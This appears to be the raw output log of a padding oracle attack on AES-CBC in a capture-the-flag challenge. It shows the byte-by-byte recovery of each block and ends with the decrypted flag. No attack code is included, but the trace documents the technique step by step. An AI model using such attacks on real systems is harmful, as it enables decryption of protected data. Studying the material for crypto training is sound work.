[+] Test [Byte 012/256 - Block 4 ]: 82FF7382864445BF2619216C1F577B55
[+] Block M_Byte : 0000000000000c0c0c0c0c0c0c0c0c0c
[+] Block C_{i-1}: 82FF7382864443B9201F276A19517D53
[+] Block Padding: 0000000000000a0a0a0a0a0a0a0a0a0a
[+] Found 10 bytes : 0c0c0c0c0c0c0c0c0c0c
[+] Test [Byte 012/256 - Block 4 ]: 82FF7382864344BE2718206D1E567A54
[+] Block M_Byte : 00000000000c0c0c0c0c0c0c0c0c0c0c
[+] Block C_{i-1}: 82FF7382864443B9201F276A19517D53
[+] Block Padding: 00000000000b0b0b0b0b0b0b0b0b0b0b
[+] Found 11 bytes : 0c0c0c0c0c0c0c0c0c0c0c
[+] Test [Byte 012/256 - Block 4 ]: 82FF7382864443B9201F276A19517D53
[+] Block M_Byte : 000000000c0c0c0c0c0c0c0c0c0c0c0c
[+] Block C_{i-1}: 82FF7382864443B9201F276A19517D53
[+] Block Padding: 000000000c0c0c0c0c0c0c0c0c0c0c0c
[+] Found 12 bytes : 0c0c0c0c0c0c0c0c0c0c0c0c
[+] Test [Byte 125/256 - Block 4 ]: 82FF73F2874542B8211E266B18507C52
[+] Block M_Byte : 0000007d0c0c0c0c0c0c0c0c0c0c0c0c
[+] Block C_{i-1}: 82FF7382864443B9201F276A19517D53
[+] Block Padding: 0000000d0d0d0d0d0d0d0d0d0d0d0d0d
[+] Found 13 bytes : 7d0c0c0c0c0c0c0c0c0c0c0c0c
[+] Test [Byte 115/256 - Block 4 ]: 82FF0EF1844641BB221D25681B537F51
[+] Block M_Byte : 0000737d0c0c0c0c0c0c0c0c0c0c0c0c
[+] Block C_{i-1}: 82FF7382864443B9201F276A19517D53
[+] Block Padding: 00000e0e0e0e0e0e0e0e0e0e0e0e0e0e
[+] Found 14 bytes : 737d0c0c0c0c0c0c0c0c0c0c0c0c
[+] Test [Byte 100/256 - Block 4 ]: 82940FF0854740BA231C24691A527E50
[+] Block M_Byte : 0064737d0c0c0c0c0c0c0c0c0c0c0c0c
[+] Block C_{i-1}: 82FF7382864443B9201F276A19517D53
[+] Block Padding: 000f0f0f0f0f0f0f0f0f0f0f0f0f0f0f
[+] Found 15 bytes : 64737d0c0c0c0c0c0c0c0c0c0c0c0c
[+] Test [Byte 110/256 - Block 4 ]: FC8B10EF9A585FA53C033B76054D614F
[+] Block M_Byte : 6e64737d0c0c0c0c0c0c0c0c0c0c0c0c
[+] Block C_{i-1}: 82FF7382864443B9201F276A19517D53
[+] Block Padding: 10101010101010101010101010101010
[+] Found 16 bytes : 6e64737d0c0c0c0c0c0c0c0c0c0c0c0c
[+] Search value block : 3
[+] Test [Byte 051/256 - Block 3 ]: BBECA475CFCA263E74C18716FBCA721F
[+] Block M_Byte : 00000000000000000000000000000033
[+] Block C_{i-1}: BBECA475CFCA263E74C18716FBCA722D
[+] Block Padding: 00000000000000000000000000000001
[+] Found 1 bytes : 33
[+] Test [Byte 103/256 - Block 3 ]: BBECA475CFCA263E74C18716FBCA171C
[+] Block M_Byte : 00000000000000000000000000006733
[+] Block C_{i-1}: BBECA475CFCA263E74C18716FBCA722D
[+] Block Padding: 00000000000000000000000000000202
[+] Found 2 bytes : 6733
[+] Test [Byte 051/256 - Block 3 ]: BBECA475CFCA263E74C18716FBFA161D
[+] Block M_Byte : 00000000000000000000000000336733
[+] Block C_{i-1}: BBECA475CFCA263E74C18716FBCA722D
[+] Block Padding: 00000000000000000000000000030303
[+] Found 3 bytes : 336733
[+] Test [Byte 108/256 - Block 3 ]: BBECA475CFCA263E74C1871693FD111A
[+] Block M_Byte : 0000000000000000000000006c336733
[+] Block C_{i-1}: BBECA475CFCA263E74C18716FBCA722D
[+] Block Padding: 00000000000000000000000004040404
[+] Found 4 bytes : 6c336733
[+] Test [Byte 095/256 - Block 3 ]: BBECA475CFCA263E74C1874C92FC101B
[+] Block M_Byte : 00000000000000000000005f6c336733
[+] Block C_{i-1}: BBECA475CFCA263E74C18716FBCA722D
[+] Block Padding: 00000000000000000000000505050505
[+] Found 5 bytes : 5f6c336733
[+] Test [Byte 051/256 - Block 3 ]: BBECA475CFCA263E74C1B24F91FF1318
[+] Block M_Byte : 00000000000000000000335f6c336733
[+] Block C_{i-1}: BBECA475CFCA263E74C18716FBCA722D
[+] Block Padding: 00000000000000000000060606060606
[+] Found 6 bytes : 335f6c336733
[+] Test [Byte 114/256 - Block 3 ]: BBECA475CFCA263E74B4B34E90FE1219
[+] Block M_Byte : 00000000000000000072335f6c336733
[+] Block C_{i-1}: BBECA475CFCA263E74C18716FBCA722D
[+] Block Padding: 00000000000000000007070707070707
[+] Found 7 bytes : 72335f6c336733
[+] Test [Byte 052/256 - Block 3 ]: BBECA475CFCA263E48BBBC419FF11D16
[+] Block M_Byte : 00000000000000003472335f6c336733
[+] Block C_{i-1}: BBECA475CFCA263E74C18716FBCA722D
[+] Block Padding: 00000000000000000808080808080808
[+] Found 8 bytes : 3472335f6c336733
[+] Test [Byte 095/256 - Block 3 ]: BBECA475CFCA266849BABD409EF01C17
[+] Block M_Byte : 000000000000005f3472335f6c336733
[+] Block C_{i-1}: BBECA475CFCA263E74C18716FBCA722D
[+] Block Padding: 00000000000000090909090909090909
[+] Found 9 bytes : 5f3472335f6c336733
[+] Test [Byte 121/256 - Block 3 ]: BBECA475CFCA556B4AB9BE439DF31F14
[+] Block M_Byte : 000000000000795f3472335f6c336733
[+] Block C_{i-1}: BBECA475CFCA263E74C18716FBCA722D
[+] Block Padding: 0000000000000a0a0a0a0a0a0a0a0a0a
[+] Found 10 bytes : 795f3472335f6c336733
[+] Test [Byte 051/256 - Block 3 ]: BBECA475CFF2546A4BB8BF429CF21E15
[+] Block M_Byte : 000000000033795f3472335f6c336733
[+] Block C_{i-1}: BBECA475CFCA263E74C18716FBCA722D
[+] Block Padding: 00000000000b0b0b0b0b0b0b0b0b0b0b
[+] Found 11 bytes : 33795f3472335f6c336733
[+] Test [Byte 104/256 - Block 3 ]: BBECA475ABF5536D4CBFB8459BF51912
[+] Block M_Byte : 000000006833795f3472335f6c336733
[+] Block C_{i-1}: BBECA475CFCA263E74C18716FBCA722D
[+] Block Padding: 000000000c0c0c0c0c0c0c0c0c0c0c0c
[+] Found 12 bytes : 6833795f3472335f6c336733
[+] Test [Byte 116/256 - Block 3 ]: BBECA40CAAF4526C4DBEB9449AF41813
[+] Block M_Byte : 000000746833795f3472335f6c336733
[+] Block C_{i-1}: BBECA475CFCA263E74C18716FBCA722D
[+] Block Padding: 0000000d0d0d0d0d0d0d0d0d0d0d0d0d
[+] Found 13 bytes : 746833795f3472335f6c336733
[+] Test [Byte 095/256 - Block 3 ]: BBECF50FA9F7516F4EBDBA4799F71B10
[+] Block M_Byte : 00005f746833795f3472335f6c336733
[+] Block C_{i-1}: BBECA475CFCA263E74C18716FBCA722D
[+] Block Padding: 00000e0e0e0e0e0e0e0e0e0e0e0e0e0e
[+] Found 14 bytes : 5f746833795f3472335f6c336733
[+] Test [Byte 115/256 - Block 3 ]: BB90F40EA8F6506E4FBCBB4698F61A11
[+] Block M_Byte : 00735f746833795f3472335f6c336733
[+] Block C_{i-1}: BBECA475CFCA263E74C18716FBCA722D
[+] Block Padding: 000f0f0f0f0f0f0f0f0f0f0f0f0f0f0f
[+] Found 15 bytes : 735f746833795f3472335f6c336733
[+] Test [Byte 104/256 - Block 3 ]: C38FEB11B7E94F7150A3A45987E9050E
[+] Block M_Byte : 68735f746833795f3472335f6c336733
[+] Block C_{i-1}: BBECA475CFCA263E74C18716FBCA722D
[+] Block Padding: 10101010101010101010101010101010
[+] Found 16 bytes : 68735f746833795f3472335f6c336733
[+] Search value block : 2
[+] Test [Byte 116/256 - Block 2 ]: 9CF304412717053CD1011FC8B738D2C2
[+] Block M_Byte : 00000000000000000000000000000074
[+] Block C_{i-1}: 9CF304412717053CD1011FC8B738D2B7
[+] Block Padding: 00000000000000000000000000000001
[+] Found 1 bytes : 74
[+] Test [Byte 121/256 - Block 2 ]: 9CF304412717053CD1011FC8B738A9C1
[+] Block M_Byte : 00000000000000000000000000007974
[+] Block C_{i-1}: 9CF304412717053CD1011FC8B738D2B7
[+] Block Padding: 00000000000000000000000000000202
[+] Found 2 bytes : 7974
[+] Test [Byte 109/256 - Block 2 ]: 9CF304412717053CD1011FC8B756A8C0
[+] Block M_Byte : 000000000000000000000000006d7974
[+] Block C_{i-1}: 9CF304412717053CD1011FC8B738D2B7
[+] Block Padding: 00000000000000000000000000030303
[+] Found 3 bytes : 6d7974
[+] Test [Byte 095/256 - Block 2 ]: 9CF304412717053CD1011FC8EC51AFC7
[+] Block M_Byte : 0000000000000000000000005f6d7974
[+] Block C_{i-1}: 9CF304412717053CD1011FC8B738D2B7
[+] Block Padding: 00000000000000000000000004040404
[+] Found 4 bytes : 5f6d7974
[+] Test [Byte 116/256 - Block 2 ]: 9CF304412717053CD1011FB9ED50AEC6
[+] Block M_Byte : 0000000000000000000000745f6d7974
[+] Block C_{i-1}: 9CF304412717053CD1011FC8B738D2B7
[+] Block Padding: 00000000000000000000000505050505
[+] Found 5 bytes : 745f6d7974
[+] Test [Byte 048/256 - Block 2 ]: 9CF304412717053CD10129BAEE53ADC5
[+] Block M_Byte : 0000000000000000000030745f6d7974
[+] Block C_{i-1}: 9CF304412717053CD1011FC8B738D2B7
[+] Block Padding: 00000000000000000000060606060606
[+] Found 6 bytes : 30745f6d7974
[+] Test [Byte 110/256 - Block 2 ]: 9CF304412717053CD16828BBEF52ACC4
[+] Block M_Byte : 0000000000000000006e30745f6d7974
[+] Block C_{i-1}: 9CF304412717053CD1011FC8B738D2B7
[+] Block Padding: 00000000000000000007070707070707
[+] Found 7 bytes : 6e30745f6d7974
[+] Test [Byte 095/256 - Block 2 ]: 9CF304412717053C866727B4E05DA3CB
[+] Block M_Byte : 00000000000000005f6e30745f6d7974
[+] Block C_{i-1}: 9CF304412717053CD1011FC8B738D2B7
[+] Block Padding: 00000000000000000808080808080808
[+] Found 8 bytes : 5f6e30745f6d7974
[+] Test [Byte 051/256 - Block 2 ]: 9CF3044127170506876626B5E15CA2CA
[+] Block M_Byte : 00000000000000335f6e30745f6d7974
[+] Block C_{i-1}: 9CF304412717053CD1011FC8B738D2B7
[+] Block Padding: 00000000000000090909090909090909
[+] Found 9 bytes : 335f6e30745f6d7974
[+] Test [Byte 114/256 - Block 2 ]: 9CF3044127177D05846525B6E25FA1C9
[+] Block M_Byte : 00000000000072335f6e30745f6d7974
[+] Block C_{i-1}: 9CF304412717053CD1011FC8B738D2B7
[+] Block Padding: 0000000000000a0a0a0a0a0a0a0a0a0a
[+] Found 10 bytes : 72335f6e30745f6d7974
[+] Test [Byte 052/256 - Block 2 ]: 9CF3044127287C04856424B7E35EA0C8
[+] Block M_Byte : 00000000003472335f6e30745f6d7974
[+] Block C_{i-1}: 9CF304412717053CD1011FC8B738D2B7
[+] Block Padding: 00000000000b0b0b0b0b0b0b0b0b0b0b
[+] Found 11 bytes : 3472335f6e30745f6d7974
[+] Test [Byte 095/256 - Block 2 ]: 9CF30441742F7B03826323B0E459A7CF
[+] Block M_Byte : 000000005f3472335f6e30745f6d7974
[+] Block C_{i-1}: 9CF304412717053CD1011FC8B738D2B7
[+] Block Padding: 000000000c0c0c0c0c0c0c0c0c0c0c0c
[+] Found 12 bytes : 5f3472335f6e30745f6d7974
[+] Test [Byte 115/256 - Block 2 ]: 9CF3043F752E7A02836222B1E558A6CE
[+] Block M_Byte : 000000735f3472335f6e30745f6d7974
[+] Block C_{i-1}: 9CF304412717053CD1011FC8B738D2B7
[+] Block Padding: 0000000d0d0d0d0d0d0d0d0d0d0d0d0d
[+] Found 13 bytes : 735f3472335f6e30745f6d7974
[+] Test [Byte 051/256 - Block 2 ]: 9CF3393C762D7901806121B2E65BA5CD
[+] Block M_Byte : 000033735f3472335f6e30745f6d7974
[+] Block C_{i-1}: 9CF304412717053CD1011FC8B738D2B7
[+] Block Padding: 00000e0e0e0e0e0e0e0e0e0e0e0e0e0e
[+] Found 14 bytes : 33735f3472335f6e30745f6d7974
[+] Test [Byte 108/256 - Block 2 ]: 9C90383D772C7800816020B3E75AA4CC
[+] Block M_Byte : 006c33735f3472335f6e30745f6d7974
[+] Block C_{i-1}: 9CF304412717053CD1011FC8B738D2B7
[+] Block Padding: 000f0f0f0f0f0f0f0f0f0f0f0f0f0f0f
[+] Found 15 bytes : 6c33735f3472335f6e30745f6d7974
[+] Test [Byte 099/256 - Block 2 ]: EF8F27226833671F9E7F3FACF845BBD3
[+] Block M_Byte : 636c33735f3472335f6e30745f6d7974
[+] Block C_{i-1}: 9CF304412717053CD1011FC8B738D2B7
[+] Block Padding: 10101010101010101010101010101010
[+] Found 16 bytes : 636c33735f3472335f6e30745f6d7974
[+] Search value block : 1
[+] Test [Byte 052/256 - Block 1 ]: BF27AAF4B8E66094F6BCE5717CF288AF
[+] Block M_Byte : 00000000000000000000000000000034
[+] Block C_{i-1}: BF27AAF4B8E66094F6BCE5717CF2889A
[+] Block Padding: 00000000000000000000000000000001
[+] Found 1 bytes : 34
[+] Test [Byte 114/256 - Block 1 ]: BF27AAF4B8E66094F6BCE5717CF2F8AC
[+] Block M_Byte : 00000000000000000000000000007234
[+] Block C_{i-1}: BF27AAF4B8E66094F6BCE5717CF2889A
[+] Block Padding: 00000000000000000000000000000202
[+] Found 2 bytes : 7234
[+] Test [Byte 048/256 - Block 1 ]: BF27AAF4B8E66094F6BCE5717CC1F9AD
[+] Block M_Byte : 00000000000000000000000000307234
[+] Block C_{i-1}: BF27AAF4B8E66094F6BCE5717CF2889A
[+] Block Padding: 00000000000000000000000000030303
[+] Found 3 bytes : 307234
[+] Test [Byte 095/256 - Block 1 ]: BF27AAF4B8E66094F6BCE57127C6FEAA
[+] Block M_Byte : 0000000000000000000000005f307234
[+] Block C_{i-1}: BF27AAF4B8E66094F6BCE5717CF2889A
[+] Block Padding: 00000000000000000000000004040404
[+] Found 4 bytes : 5f307234
[+] Test [Byte 103/256 - Block 1 ]: BF27AAF4B8E66094F6BCE51326C7FFAB
[+] Block M_Byte : 0000000000000000000000675f307234
[+] Block C_{i-1}: BF27AAF4B8E66094F6BCE5717CF2889A
[+] Block Padding: 00000000000000000000000505050505
[+] Found 5 bytes : 675f307234
[+] Test [Byte 110/256 - Block 1 ]: BF27AAF4B8E66094F6BC8D1025C4FCA8
[+] Block M_Byte : 000000000000000000006e675f307234
[+] Block C_{i-1}: BF27AAF4B8E66094F6BCE5717CF2889A
[+] Block Padding: 00000000000000000000060606060606
[+] Found 6 bytes : 6e675f307234
[+] Test [Byte 049/256 - Block 1 ]: BF27AAF4B8E66094F68A8C1124C5FDA9
[+] Block M_Byte : 000000000000000000316e675f307234
[+] Block C_{i-1}: BF27AAF4B8E66094F6BCE5717CF2889A
[+] Block Padding: 00000000000000000007070707070707
[+] Found 7 bytes : 316e675f307234
[+] Test [Byte 100/256 - Block 1 ]: BF27AAF4B8E660949A85831E2BCAF2A6
[+] Block M_Byte : 000000000000000064316e675f307234
[+] Block C_{i-1}: BF27AAF4B8E66094F6BCE5717CF2889A
[+] Block Padding: 00000000000000000808080808080808
[+] Found 8 bytes : 64316e675f307234
[+] Test [Byte 100/256 - Block 1 ]: BF27AAF4B8E660F99B84821F2ACBF3A7
[+] Block M_Byte : 000000000000006464316e675f307234
[+] Block C_{i-1}: BF27AAF4B8E66094F6BCE5717CF2889A
[+] Block Padding: 00000000000000090909090909090909
[+] Found 9 bytes : 6464316e675f307234
[+] Test [Byte 052/256 - Block 1 ]: BF27AAF4B8E65EFA9887811C29C8F0A4
[+] Block M_Byte : 000000000000346464316e675f307234
[+] Block C_{i-1}: BF27AAF4B8E66094F6BCE5717CF2889A
[+] Block Padding: 0000000000000a0a0a0a0a0a0a0a0a0a
[+] Found 10 bytes : 346464316e675f307234
[+] Test [Byte 112/256 - Block 1 ]: BF27AAF4B89D5FFB9986801D28C9F1A5
[+] Block M_Byte : 000000000070346464316e675f307234
[+] Block C_{i-1}: BF27AAF4B8E66094F6BCE5717CF2889A
[+] Block Padding: 00000000000b0b0b0b0b0b0b0b0b0b0b
[+] Found 11 bytes : 70346464316e675f307234
[+] Test [Byte 123/256 - Block 1 ]: BF27AAF4CF9A58FC9E81871A2FCEF6A2
[+] Block M_Byte : 000000007b70346464316e675f307234
[+] Block C_{i-1}: BF27AAF4B8E66094F6BCE5717CF2889A
[+] Block Padding: 000000000c0c0c0c0c0c0c0c0c0c0c0c
[+] Found 12 bytes : 7b70346464316e675f307234
[+] Test [Byte 116/256 - Block 1 ]: BF27AA8DCE9B59FD9F80861B2ECFF7A3
[+] Block M_Byte : 000000747b70346464316e675f307234
[+] Block C_{i-1}: BF27AAF4B8E66094F6BCE5717CF2889A
[+] Block Padding: 0000000d0d0d0d0d0d0d0d0d0d0d0d0d
[+] Found 13 bytes : 747b70346464316e675f307234
[+] Test [Byte 120/256 - Block 1 ]: BF27DC8ECD985AFE9C8385182DCCF4A0
[+] Block M_Byte : 000078747b70346464316e675f307234
[+] Block C_{i-1}: BF27AAF4B8E66094F6BCE5717CF2889A
[+] Block Padding: 00000e0e0e0e0e0e0e0e0e0e0e0e0e0e
[+] Found 14 bytes : 78747b70346464316e675f307234
[+] Test [Byte 051/256 - Block 1 ]: BF1BDD8FCC995BFF9D8284192CCDF5A1
[+] Block M_Byte : 003378747b70346464316e675f307234
[+] Block C_{i-1}: BF27AAF4B8E66094F6BCE5717CF2889A
[+] Block Padding: 000f0f0f0f0f0f0f0f0f0f0f0f0f0f0f
[+] Found 15 bytes : 3378747b70346464316e675f307234
[+] Test [Byte 110/256 - Block 1 ]: C104C290D38644E0829D9B0633D2EABE
[+] Block M_Byte : 6e3378747b70346464316e675f307234
[+] Block C_{i-1}: BF27AAF4B8E66094F6BCE5717CF2889A
[+] Block Padding: 10101010101010101010101010101010
[+] Found 16 bytes : 6e3378747b70346464316e675f307234
[+] Decrypted value (HEX): 6E3378747B70346464316E675F307234636C33735F3472335F6E30745F6D797468735F746833795F3472335F6C3367336E64737D0C0C0C0C0C0C0C0C0C0C0C0C
[+] Decrypted value (ASCII): n3xt{p4dd1ng_0r4cl3s_4r3_n0t_myths_th3y_4r3_l3g3nds}
1
n3xt{p4dd1ng_0r4cl3s_4r3_n0t_myths_th3y_4r3_l3g3nds}